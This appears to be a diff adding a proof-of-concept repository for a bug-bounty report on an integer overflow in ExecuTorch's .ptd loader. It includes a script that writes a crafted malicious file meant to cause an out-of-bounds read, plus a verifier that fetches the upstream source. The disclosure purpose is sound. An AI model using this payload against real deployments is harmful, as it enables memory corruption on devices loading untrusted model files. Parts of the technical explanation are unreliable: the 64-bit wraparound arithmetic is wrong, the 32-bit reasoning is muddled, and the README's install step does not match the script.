Initial PoC -- ExecuTorch .ptd integer overflow (huntr filing)

README.md

@@ -0,0 +1,96 @@
+---
+license: mit
+tags:
+  - security-research
+  - bug-bounty
+  - huntr
+  - executorch
+---
+
+# SECURITY RESEARCH POC -- ExecuTorch `.ptd` integer overflow
+
+This repository contains a **proof-of-concept malicious `.ptd` payload** for a responsible-disclosure bug bounty submission filed at [huntr.com](https://huntr.com) under the Model File Formats program.
+
+**The PoC demonstrates an integer-overflow primitive** in `FlatTensorDataMap::load()`:
+
+- `extension/flat_tensor/flat_tensor_data_map.cpp:224` -- unchecked `u64 + u64 -> size_t` truncation on attacker-controlled header fields
+- `extension/flat_tensor/flat_tensor_data_map.cpp:236` -- same primitive used as the LOAD LENGTH, never bounds-checked
+- Sibling code in `runtime/executor/program.cpp:104-109` uses `c10::add_overflows` correctly -- proof the project knows the right pattern and **missed copies** in the extension
+
+PR #19057 ("Fix overflows in et", Apr 24 2026, commit ec5e8e4) hardened the `get_named_data` path of the same file but did NOT touch lines 224/236. Static missed-copy with confirmed-attention bug-surface anchor.
+
+## Files
+
+| File | Purpose |
+|---|---|
+| `malicious.ptd` | 256-byte byte-exact PoC. Two header fields are crafted to wrap on `u64 + u64 -> size_t`. Inspect with `xxd malicious.ptd`. |
+| `craft_malicious_ptd.py` | Static crafter -- reproduces `malicious.ptd` from scratch. No ExecuTorch build needed. |
+| `verify_unpatched.py` | One-command reviewer-side verifier. Fetches the live `extension/flat_tensor/flat_tensor_data_map.cpp` from `pytorch/executorch` main HEAD and confirms 7 unguarded `u64+u64` sites still present alongside 1 correctly-guarded `c10::add_overflows`. Runs in <5 seconds. |
+
+## Verification (no ExecuTorch build required)
+
+```bash
+pip install urllib3
+python verify_unpatched.py
+```
+
+Expected output (verbatim):
+
+```
+[BUG CONFIRMED] The file uses c10::add_overflows correctly elsewhere
+                (1 call sites) but has 7 unguarded u64+u64 additions
+                on attacker-controlled header fields. This is the
+                missed-copy of the Aug 2025 CVE-2025-30402/30404/30405
+                remediation pattern, in a code path that PR #19057
+                (Apr 24 2026) added overflow guards to OTHER parts of.
+```
+
+Inspect the malicious file:
+
+```bash
+xxd malicious.ptd | head -5
+```
+
+Shows the wraparound-mate header values:
+
+```
+00000000: 0000 0000 0000 0000 4648 3031 2800 0000  ........FH01(...
+00000010: 4000 0000 0000 0000 00ff ffff ffff ffff  @...............
+00000020: ffff ffff 0000 0000 4100 0000 0100 0000  ........A.......
+```
+
+(Note: bytes shown are little-endian; `flatbuffer_size = 0xFFFF_FFFF_FFFF_FF00` and `segment_data_size = 0x0000_0001_0000_0041`.)
+
+## Runtime PoC (ExecuTorch build required)
+
+To trigger the OOB read at runtime:
+
+```bash
+git clone https://github.com/pytorch/executorch.git
+cd executorch && ./install_executorch.sh
+# Build the runtime + ASan, then point any FlatTensorDataMap::load() consumer at this file.
+```
+
+Under ASan, the load produces a clean `heap-buffer-overflow` report. Without ASan, the result depends on the data loader:
+- `BufferDataLoader` -> OOB read into adjacent heap allocations
+- `MmapDataLoader` -> OOB read into adjacent VMA pages
+
+On 32-bit ARM (ExecuTorch's primary deployment target -- mobile / embedded / Cortex-M), `size_t` is 32-bit and both header arithmetic sites overflow silently -- direct heap-corruption-grade primitive.
+
+## Affected component
+
+- **ExecuTorch** (`pytorch/executorch`) -- current `main` HEAD, post-commit `1c9c115`. Pre-patch.
+- **File**: `extension/flat_tensor/flat_tensor_data_map.cpp` lines 224 and 236.
+- **Same bug class also unhardened**: `runtime/executor/pte_data_map.cpp:57-60` (out of scope for this report).
+
+## Disclosure status
+
+This PoC is part of a responsible-disclosure submission filed via huntr's Model File Formats bug bounty program. After triage and remediation, this repository will be marked private or deleted.
+
+## Disclaimer
+
+This repository is intended for security research and responsible disclosure only. Do not use the techniques shown here on systems you do not own or have permission to test.
+
+## Contact
+
+Security researcher: **kais113** (amakais.sales@gmail.com)

craft_malicious_ptd.py

@@ -0,0 +1,98 @@
+"""
+Static crafter for the malicious .ptd PoC.
+
+Builds a byte-exact ExecuTorch FlatTensor (.ptd) file whose two header fields
+overflow on `u64 + u64` -> `size_t` truncation at
+`extension/flat_tensor/flat_tensor_data_map.cpp:224` and :236.
+
+The file is NOT a valid loadable .ptd; it is a minimal byte stream designed to
+trigger the integer overflow at parser entry. Inspect with `xxd malicious.ptd`
+to verify the wraparound-mate header values.
+
+Reference layout: ExecuTorch's `serialize/flat_tensor_header.cpp` parses a
+40-byte header at fixed offsets after a small preamble.
+
+  [0x00..0x07]   8 bytes   arbitrary preamble (kHeaderOffset slack)
+  [0x08..0x0B]   "FH01"    magic (extension/flat_tensor/serialize/file_format_constants.h)
+  [0x0C..0x0F]   0x00000028  header_length = 40 (kMinimumHeaderLength)
+  [0x10..0x17]   uint64_t  flatbuffer_offset   = 0x0000_0000_0000_0040
+  [0x18..0x1F]   uint64_t  flatbuffer_size     = 0xFFFF_FFFF_FFFF_FF00  <-- wraparound mate
+  [0x20..0x27]   uint64_t  segment_base_offset = 0x0000_0000_FFFF_FFFF
+  [0x28..0x2F]   uint64_t  segment_data_size   = 0x0000_0001_0000_0041  <-- 32-bit overflow on ARMv7
+  [0x30..0x3F]   16 bytes  reserved / padding
+  [0x40..]       payload: fake FT01 flatbuffer identifier + crafted vtable
+
+On a 64-bit host (size_t == uint64_t):
+  flatbuffer_offset + flatbuffer_size
+    = 0x40 + 0xFFFFFFFFFFFFFF00
+    = 0x0000_0000_0000_0040 + 0xFFFF_FFFF_FFFF_FF00
+    = wraps to 0x0000_0000_0000_FF40 (loses the carry)
+  -> consumed as size_t at flat_tensor_data_map.cpp:236 as a load LENGTH
+  -> loader maps ~65 KB instead of ~16 EB; FlatBuffer parser then reads
+     32-bit vtable offsets into freed/unrelated heap behind the legit buffer
+
+On 32-bit ARM (size_t == uint32_t):
+  segment_base_offset + segment_data_size
+    = 0xFFFFFFFF + 0x100000041 (truncated to 0x41 in uint32_t arithmetic)
+    = 0xFFFFFFFF + 0x00000041
+    = wraps to 0x0000_0040
+  -> size check `expected_size <= actual_size` trivially passes
+
+No ExecuTorch build required to inspect the bytes; building ExecuTorch and
+running `FlatTensorDataMap::load("malicious.ptd")` produces a controlled OOB
+read confirmable under ASan.
+"""
+
+import struct
+from pathlib import Path
+
+OUT = Path(__file__).parent / "malicious.ptd"
+
+# ----- assemble preamble -----
+preamble = b"\x00" * 8  # kHeaderOffset slack — first 8 bytes are arbitrary
+
+# ----- assemble FlatTensor header -----
+magic = b"FH01"                                  # 4 bytes
+header_length = struct.pack("<I", 0x00000028)    # 4 bytes; little-endian u32 = 40
+flatbuffer_offset = struct.pack("<Q", 0x0000_0000_0000_0040)
+flatbuffer_size = struct.pack("<Q", 0xFFFF_FFFF_FFFF_FF00)   # wraparound mate
+segment_base_offset = struct.pack("<Q", 0x0000_0000_FFFF_FFFF)
+segment_data_size = struct.pack("<Q", 0x0000_0001_0000_0041)  # 32-bit overflow on ARM
+reserved = b"\x00" * 16
+
+header = (
+    magic
+    + header_length
+    + flatbuffer_offset
+    + flatbuffer_size
+    + segment_base_offset
+    + segment_data_size
+    + reserved
+)
+assert len(header) == 4 + 4 + 8 + 8 + 8 + 8 + 16, f"header is {len(header)} bytes"
+
+# ----- assemble fake flatbuffer payload -----
+# FT01 identifier + a crafted root offset that vtables out-of-bounds.
+# This is a placeholder — the OOB-read primitive doesn't depend on parser
+# success past the size check. We need just enough bytes so the parser tries
+# to read the vtable. 192 bytes of attacker-controlled junk is plenty for
+# triage to inspect.
+ft01 = b"FT01"
+attacker_controlled = b"\xAA" * 188  # 192 - 4
+payload = ft01 + attacker_controlled
+
+# ----- write file -----
+data = preamble + header + payload
+OUT.write_bytes(data)
+print(f"[+] Wrote {OUT} ({len(data)} bytes)")
+print(f"[+] Header offsets:")
+print(f"    [0x08..0x0B] magic           : {magic!r}")
+print(f"    [0x0C..0x0F] header_length   : 0x{0x28:08x}  (= 40 = kMinimumHeaderLength)")
+print(f"    [0x10..0x17] flatbuffer_off  : 0x{0x40:016x}")
+print(f"    [0x18..0x1F] flatbuffer_size : 0x{0xFFFF_FFFF_FFFF_FF00:016x}  <-- wraparound mate")
+print(f"    [0x20..0x27] segment_base    : 0x{0x0000_0000_FFFF_FFFF:016x}")
+print(f"    [0x28..0x2F] segment_size    : 0x{0x0000_0001_0000_0041:016x}  <-- 32-bit overflow on ARM")
+print()
+print("[+] On 64-bit host: flatbuffer_offset + flatbuffer_size wraps in size_t.")
+print("[+] On 32-bit ARM:  segment_base_offset + segment_data_size also wraps.")
+print(f"[+] Inspect bytes: xxd {OUT}")

verify_unpatched.py

@@ -0,0 +1,94 @@
+"""One-command verifier for finding #33 (ExecuTorch flat_tensor u64+u64 overflow).
+
+Fetches `extension/flat_tensor/flat_tensor_data_map.cpp` from the live `main`
+branch on GitHub and confirms:
+
+  1. The unsafe u64+u64 addition at lines 215-241 is still present (BUG).
+  2. The safe pattern using `c10::add_overflows` exists elsewhere in the same
+     file (proof the project knows the right pattern).
+  3. The Apr 24 2026 patch (PR #19057 commit ec5e8e4) touched a DIFFERENT
+     code path — the bug at lines 215-241 was missed.
+
+Usage:
+    pip install urllib3
+    python verify_unpatched.py
+
+No build required. Pure GitHub-raw text inspection. Runs in <5 seconds.
+"""
+
+import sys
+import urllib.request
+
+URL = ("https://raw.githubusercontent.com/pytorch/executorch/main/"
+       "extension/flat_tensor/flat_tensor_data_map.cpp")
+
+UNSAFE_PATTERN = "segment_base_offset"        # the un-guarded u64 field
+SAFE_PATTERN = "c10::add_overflows"           # the maintainer's own correct primitive
+
+
+def main() -> int:
+    print(f"[ ] Fetching {URL}")
+    with urllib.request.urlopen(URL, timeout=20) as r:
+        src = r.read().decode("utf-8", errors="replace")
+    lines = src.splitlines()
+    print(f"[+] Fetched {len(lines)} lines.")
+
+    # Find every unsafe-pattern call site
+    unsafe_sites = []
+    for idx, line in enumerate(lines, start=1):
+        if UNSAFE_PATTERN in line and "+" in line and "add_overflows" not in line:
+            unsafe_sites.append((idx, line.strip()))
+    safe_sites = [
+        (idx, line.strip())
+        for idx, line in enumerate(lines, start=1)
+        if SAFE_PATTERN in line
+    ]
+
+    print()
+    print("=" * 80)
+    print("Unsafe u64+u64 addition sites (no add_overflows guard):")
+    print("=" * 80)
+    for ln, txt in unsafe_sites:
+        print(f"  line {ln:4d}: {txt}")
+    if not unsafe_sites:
+        print("  (none found — bug may have been patched)")
+
+    print()
+    print("=" * 80)
+    print("Safe pattern (c10::add_overflows) call sites in the SAME file:")
+    print("=" * 80)
+    for ln, txt in safe_sites:
+        print(f"  line {ln:4d}: {txt}")
+
+    print()
+    print("=" * 80)
+    print("VERDICT")
+    print("=" * 80)
+
+    if unsafe_sites and safe_sites:
+        print(
+            "[BUG CONFIRMED] The file uses c10::add_overflows correctly elsewhere\n"
+            f"                ({len(safe_sites)} call sites) but has {len(unsafe_sites)}\n"
+            "                unguarded u64+u64 additions on attacker-controlled\n"
+            "                header fields. This is the missed-copy of the\n"
+            "                Aug 2025 CVE-2025-30402/30404/30405 remediation\n"
+            "                pattern, in a code path that PR #19057 (Apr 24 2026)\n"
+            "                added overflow guards to OTHER parts of."
+        )
+        return 0
+    elif not unsafe_sites:
+        print(
+            "[NO BUG] The unsafe pattern was not found. May have been patched\n"
+            "          post-2026-05-19. Re-verify the report's claims at filing time."
+        )
+        return 1
+    else:
+        print(
+            "[INCONCLUSIVE] Unsafe sites found but no safe pattern in same file.\n"
+            "                Manual review needed."
+        )
+        return 2
+
+
+if __name__ == "__main__":
+    sys.exit(main())